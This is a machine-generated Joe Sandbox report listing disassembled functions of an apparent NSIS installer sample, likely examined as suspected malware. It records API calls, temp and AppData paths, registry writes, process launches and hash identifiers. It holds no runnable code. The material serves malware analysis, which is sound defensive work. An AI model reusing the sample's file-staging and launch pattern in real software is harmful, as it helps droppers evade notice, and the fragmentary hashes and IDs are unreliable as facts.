Part of subcall function 1000121B: GlobalAlloc.KERNELBASE(00000040,?,10001259,?,?,10001534,?,10001020,10001019,00000001), ref: 10001225

Part of subcall function 10001243: lstrcpyW.KERNEL32(00000000,?,?,?,10001534,?,10001020,10001019,00000001), ref: 10001260
Part of subcall function 10001243: GlobalFree.KERNEL32 ref: 10001271

GlobalAlloc.KERNELBASE(00000040,00001CA4), ref: 10001C4A
lstrcpyW.KERNEL32(00000008,?), ref: 10001C92
lstrcpyW.KERNEL32(00000808,?), ref: 10001C9C
GlobalFree.KERNEL32(00000000), ref: 10001CAF
GlobalFree.KERNEL32(?), ref: 10001DA9
GlobalFree.KERNEL32(?), ref: 10001DAE
GlobalFree.KERNEL32(?), ref: 10001DB3
GlobalFree.KERNEL32(00000000), ref: 10001F57
lstrcpyW.KERNEL32(?,?), ref: 100020BB

Memory Dump Source

Source File: 00000001.00000002.1630387930.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1630302750.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1630505484.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1630587983.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_________.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc
String ID:
API String ID: 4227406936-0
Opcode ID: 0c4dc19f5173d816200b72df7880e601467eff42a6c84a7c618bf63198036684
Instruction ID: 71c1a880e39e69f42b548688fcbdb76c41956fc1357523659d9e12ead3b80716
Opcode Fuzzy Hash: 0c4dc19f5173d816200b72df7880e601467eff42a6c84a7c618bf63198036684
Instruction Fuzzy Hash: F9127A75D0064ADBEB20CFA4C8846EEB7F4FF083D5F21452AE5A5E3288D7749A81DB50

Function 00401752 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\foreslaaende\Sluggardliness,?,?,00000031), ref: 00401793
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\foreslaaende\Sluggardliness,?,?,00000031), ref: 004017B8

Part of subcall function 00405EEA: lstrcpynW.KERNEL32(?,?,00000400,004033C8,004281E0,NSIS Error), ref: 00405EF7

Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

Strings

Call, xrefs: 00401770, 00401779, 00401786, 00401798, 004017A4, 004017DA, 004017F0, 0040180E, 0040184A, 004018CB, 004018D4, 004018DE, 004018E9
C:\Users\user\AppData\Local\Temp\nshD4CB.tmp, xrefs: 00401804, 00401822
C:\Users\user\AppData\Local\foreslaaende\Sluggardliness, xrefs: 00401781
C:\Users\user\AppData\Local\Temp\nshD4CB.tmp\System.dll, xrefs: 00401818, 00401834

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nshD4CB.tmp$C:\Users\user\AppData\Local\Temp\nshD4CB.tmp\System.dll$C:\Users\user\AppData\Local\foreslaaende\Sluggardliness$Call
API String ID: 1941528284-2623147041
Opcode ID: d911f2a5e86815fddb17de9d1bc7295e402278fca2ec962f4dae8fec1f8af932
Instruction ID: bc5e94bc6114b027384bbb583ab77f55914405742357509a7a45d2f14902e26b
Opcode Fuzzy Hash: d911f2a5e86815fddb17de9d1bc7295e402278fca2ec962f4dae8fec1f8af932
Instruction Fuzzy Hash: 0541A071900515BACF10BBB5CC46DAF7A78EF05368B20863BF521B11E2D73C8A419A6E

Function 0040317D Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 108
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403192

Part of subcall function 0040330F: SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402FE7,?), ref: 0040331D

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,?,00403095,00000004,00000000,00000000,?,?,?,0040300E,000000FF,00000000,00000000), ref: 004031C5
WriteFile.KERNELBASE(0040BE78,0040C19F,00000000,00000000,00413E78,00004000,?,00000000,?,00403095,00000004,00000000,00000000,?,?), ref: 0040327F
SetFilePointer.KERNELBASE(0021D8CC,00000000,00000000,00413E78,00004000,?,00000000,?,00403095,00000004,00000000,00000000,?,?,?,0040300E), ref: 004032D1

Strings

x>A, xrefs: 004031F2

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: File$Pointer$CountTickWrite
String ID: x>A
API String ID: 2146148272-3854404225
Opcode ID: c3e212118fbef9e4adb068f61efe2bd575096358676594393449bc7ea11798d5
Instruction ID: e2b2982e6b1d623d5d036838b7619e310c478df2cbc778b1b7af49cc7c53be0d
Opcode Fuzzy Hash: c3e212118fbef9e4adb068f61efe2bd575096358676594393449bc7ea11798d5
Instruction Fuzzy Hash: 2A41AC72504201DFDB10AF29ED848A63BACFB54315720827FE910B22E0D7799D81DBED

Function 00402331 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExW.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040236F
lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nshD4CB.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 0040238F
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nshD4CB.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023CB
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nshD4CB.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AC

Strings

C:\Users\user\AppData\Local\Temp\nshD4CB.tmp, xrefs: 00402380, 004023A5, 004023B5, 004023C0

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nshD4CB.tmp
API String ID: 1356686001-11946093
Opcode ID: 82ce1d6cb996bcf412ebbe99ed0769093b12cc40c1c1e49e2153e81d35d28ea4
Instruction ID: 3600ae87f41ed0761c30afac485ceb57641edc98565fd21ac0e2bbddf966c716
Opcode Fuzzy Hash: 82ce1d6cb996bcf412ebbe99ed0769093b12cc40c1c1e49e2153e81d35d28ea4
Instruction Fuzzy Hash: 511160B1A00108BEEB10AFA4DD49EAFBB7CEB50358F10443AF905B61D1D7B85D419B69

Function 004015B9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004059E0: CharNextW.USER32(?,?,00424ED8,?,00405A54,00424ED8,00424ED8,?,?,75572EE0,00405792,?,C:\Users\user\AppData\Local\Temp\,75572EE0,"C:\Users\user\Desktop\________.exe"), ref: 004059EE
Part of subcall function 004059E0: CharNextW.USER32(00000000), ref: 004059F3
Part of subcall function 004059E0: CharNextW.USER32(00000000), ref: 00405A0B

CreateDirectoryW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 004015E3
GetLastError.KERNEL32(?,00000000,0000005C,00000000,000000F0), ref: 004015ED
GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 004015FD
SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\foreslaaende\Sluggardliness,?,00000000,000000F0), ref: 00401630

Strings

C:\Users\user\AppData\Local\foreslaaende\Sluggardliness, xrefs: 00401623

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID: C:\Users\user\AppData\Local\foreslaaende\Sluggardliness
API String ID: 3751793516-3939270230
Opcode ID: fcdce739e0d94f26b1e3fbe2d5c138577a95ee6fa10370c5d64eef2b3acfb5ce
Instruction ID: 793db7a5d63411832aed35bcc9698a3b838560232fc9f0aff2bd133e4d1ca9b1
Opcode Fuzzy Hash: fcdce739e0d94f26b1e3fbe2d5c138577a95ee6fa10370c5d64eef2b3acfb5ce
Instruction Fuzzy Hash: 8E11C271904100EBDF206FA0CD449AF7AB4FF14369B34463BF882B62E1D23D4941DA6E

Function 10001771 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10001B3E: GlobalFree.KERNEL32(?), ref: 10001DA9
Part of subcall function 10001B3E: GlobalFree.KERNEL32(?), ref: 10001DAE
Part of subcall function 10001B3E: GlobalFree.KERNEL32(?), ref: 10001DB3

GlobalFree.KERNEL32(00000000), ref: 1000181C
FreeLibrary.KERNEL32(?), ref: 10001893
GlobalFree.KERNEL32(00000000), ref: 100018B8

Part of subcall function 100022A1: GlobalAlloc.KERNEL32(00000040,405EA210), ref: 100022D3

Part of subcall function 1000260B: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,100017ED,00000000), ref: 1000267D

Part of subcall function 100015CC: lstrcpyW.KERNEL32(00000000,10004020,00000000,10001749,00000000), ref: 100015E5

Part of subcall function 1000248D: wsprintfW.USER32 ref: 100024E1
Part of subcall function 1000248D: GlobalFree.KERNEL32(?), ref: 10002559
Part of subcall function 1000248D: GlobalFree.KERNEL32(00000000), ref: 10002582

Strings

, xrefs: 10001899

Memory Dump Source

Source File: 00000001.00000002.1630387930.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1630302750.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1630505484.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1630587983.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_________.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpywsprintf
String ID:
API String ID: 1767494692-3916222277
Opcode ID: ee44118ed5f66a04bcbaddb203534a3c862fc054acfad86daf15ba6692a0e061
Instruction ID: b3d4579510dcbc356f87b8c5eb81e8e4ebd4f83f88234b59d07570181d0aa013
Opcode Fuzzy Hash: ee44118ed5f66a04bcbaddb203534a3c862fc054acfad86daf15ba6692a0e061
Instruction Fuzzy Hash: 7831BF799043459AFB10DF74DCC5BDA37E8EB043D4F058529F90AAA08EDF74A985C760

Function 00403062 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNELBASE(00409230,00000000,00000000,00000000,00000000,?,?,?,0040300E,000000FF,00000000,00000000,00409230,?), ref: 00403088
WriteFile.KERNELBASE(00000000,00413E78,?,000000FF,00000000,00413E78,00004000,00409230,00409230,00000004,00000004,00000000,00000000,?,?), ref: 00403115

Strings

x>A, xrefs: 004030DE

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: File$PointerWrite
String ID: x>A
API String ID: 539440098-3854404225
Opcode ID: 73e73457c5bbcdafa96f221cdd1e093cd11c4acccee03c0e5d0162ce9b0576c4
Instruction ID: dc2c699ff297b31fb9e84695071232237a0836a1395088a2783af72dccbdbb3b
Opcode Fuzzy Hash: 73e73457c5bbcdafa96f221cdd1e093cd11c4acccee03c0e5d0162ce9b0576c4
Instruction Fuzzy Hash: A8312871500219EBDF10CF65EC44AAA3FBCEB08755F20813AF905AA1A0D3349E50DBA9

Function 00405DB7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(?,?,00000000,?,?,00000002,Call,?,0040602A,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405DE1
RegQueryValueExW.KERNELBASE(?,?,00000000,?,?,?,?,0040602A,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405E02
RegCloseKey.ADVAPI32(?,?,0040602A,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405E25

Strings

Call, xrefs: 00405DBA

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Call
API String ID: 3677997916-1824292864
Opcode ID: 6d49e1ec12a7b24cc87819d5cf70687d25a5c21dfc25d1df192b84af38ef9460
Instruction ID: 2fd967afc3cf920b801d0ff69ba4d64ac6492d281fb7c7a5729fe10eb95daac3
Opcode Fuzzy Hash: 6d49e1ec12a7b24cc87819d5cf70687d25a5c21dfc25d1df192b84af38ef9460
Instruction Fuzzy Hash: F4011A3255020AEADB219F56ED09EDB3BACEF85350F00403AF945D6260D335EA64DBF9

Function 00405B85 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405BA3
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,00403358,1033,C:\Users\user\AppData\Local\Temp\), ref: 00405BBE

Strings

nsa, xrefs: 00405B92
C:\Users\user\AppData\Local\Temp\, xrefs: 00405B8A, 00405B8E

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-1331003597
Opcode ID: 7054b5fb0d700673de611bc5c70211d8803a17d96c063a26fac21c3c19acc14a
Instruction ID: ce32066b90f2dd5c00c4c21114408b385ae8a9c1cc04399698be8057c3d71d7e
Opcode Fuzzy Hash: 7054b5fb0d700673de611bc5c70211d8803a17d96c063a26fac21c3c19acc14a
Instruction Fuzzy Hash: B7F09676A00204BBDB008F59DC05F9BB7B9EB91710F10803AE901F7180E2B0BD40CB64

Function 00401E51 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

Part of subcall function 00405665: CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256D8,Error launching installer), ref: 0040568A
Part of subcall function 00405665: CloseHandle.KERNEL32(?), ref: 00405697

WaitForSingleObject.KERNEL32(00000000,00000064,00000000,000000EB,00000000), ref: 00401E80
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00401E95
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EA2
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EC9

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: 96a63fcb15c31092515fbc06d8af7092e29a6e5b1bb977936f441355406fc1b0
Instruction ID: 1710045f99402437403c6baccff52884d9c8abed8acdccfc98223cb8aca5cd2d
Opcode Fuzzy Hash: 96a63fcb15c31092515fbc06d8af7092e29a6e5b1bb977936f441355406fc1b0
Instruction Fuzzy Hash: DC11A171D04204EBCF109FA0CD459DE7AB5EB04318F20447BE505B61E0C3798A82DF99

Function 00405108 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405137
CallWindowProcW.USER32(?,?,?,?), ref: 00405188

Part of subcall function 0040417B: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040418D

Strings

, xrefs: 00405118

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: ffbbbef4bb215af9c79ac16ecb942473111b8a896db240ad95dfeee9b4123394
Instruction ID: e96fcdb8fef6e8ad8397e3324e9c6cbe2a99463e9dbc89d2689884753c01e048
Opcode Fuzzy Hash: ffbbbef4bb215af9c79ac16ecb942473111b8a896db240ad95dfeee9b4123394
Instruction Fuzzy Hash: 9C019E71A00608AFDF215F11DD84FAB3A26EB84354F104136FA007E2E0C37A8C929E69

Function 00405665 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256D8,Error launching installer), ref: 0040568A
CloseHandle.KERNEL32(?), ref: 00405697

Strings

Error launching installer, xrefs: 00405678

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: db986bb620d03a990efffdf1bf116708606012bbbe4d85f78c6f80e4c395a8cb
Instruction ID: c7c859a2db999ab7639828e98f3e535764a8332e37e79a8a612d2f3195062982
Opcode Fuzzy Hash: db986bb620d03a990efffdf1bf116708606012bbbe4d85f78c6f80e4c395a8cb
Instruction Fuzzy Hash: 19E0ECB4A01209AFEB009F64EC49A6B7BBCEB00744B908921A914F2250D778E8108A7D

Function 00403326 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 0040617E: CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\________.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,75573420,00403512), ref: 004061E1
Part of subcall function 0040617E: CharNextW.USER32(?,?,?,00000000), ref: 004061F0
Part of subcall function 0040617E: CharNextW.USER32(?,"C:\Users\user\Desktop\________.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,75573420,00403512), ref: 004061F5
Part of subcall function 0040617E: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,75573420,00403512), ref: 00406208

CreateDirectoryW.KERNELBASE(C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75573420,00403512), ref: 00403347

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403327, 0040332C, 00403332, 0040333E, 00403346, 0040334D
